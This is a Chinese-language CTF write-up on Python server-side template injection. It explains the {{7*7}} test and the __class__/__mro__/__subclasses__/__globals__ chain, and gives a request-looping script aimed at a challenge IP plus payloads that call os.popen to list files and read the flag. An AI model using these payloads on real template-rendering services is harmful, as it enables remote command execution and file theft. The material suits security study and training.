这题考的是python ssti
简单来说,就是模板渲染出了问题,会把某些特定表达式里面的值当成代码处理
验证很简单{{7*7}},只要返回的是49,就表明存在ssti注入
然后这类题的基本思路就是通过object类找到eval或者os模块,从而进行系统函数调用
需要用到的魔法方法:
__class__
万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>。
__bases__
以元组的形式返回一个类所直接继承的类。
__base__
以字符串返回一个类所直接继承的类。
__mro__
返回解析方法调用的顺序。
__subclasses__()
获取类的所有子类。
__init__
所有自带带类都包含init方法,便于利用他当跳板来调用globals。
__globals__
function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。
方法就是这个方法,难得是调用链
以这题来举个例
''.__class__ #返回str类
''.__class__.__base__ #返回str类父类
''.__class__.__base__ .__subclasses__() #返回str父类basestring的儿子们
当然我们要先找到object类
''.__class__.__mro__ #mro是调用链,把类的继承关系想成一棵树,这个方法表示输出从当前节点到根节点的路径
''.__class__.__mro__[2] #调用object类
''.__class__.__mro__[2].__subclasses__() #返回object的儿子们
需要手动查找可能调用os模块的类,这就看你对python的函数熟悉程度了,可以是error,或者print之类的
我这里用print,<class ‘site._Printer’>。这里可以写个脚本,来确定<class ‘site._Printer’>的下标,不然一个个数太费劲,输出下标71
import requests
import re
s=requests.session()
for i in range(100):
url="http://111.200.241.244:51803/{{''.__class__.__mro__[2].__subclasses__()["+str(i)+"]}}"
response=s.get(url=url)
if re.findall("site._Printer",response.text):
print(i)
break
然后''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__,可以查看site._Printer类引用的所有类和模块,查找os模块
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'] #调用os模块,然后就可以调用函数
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read() #结果显示fl4g文件就在当前目录
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read() #得到flag
参考视频链接:https://www.bilibili.com/video/BV1rq4y1Q7G1/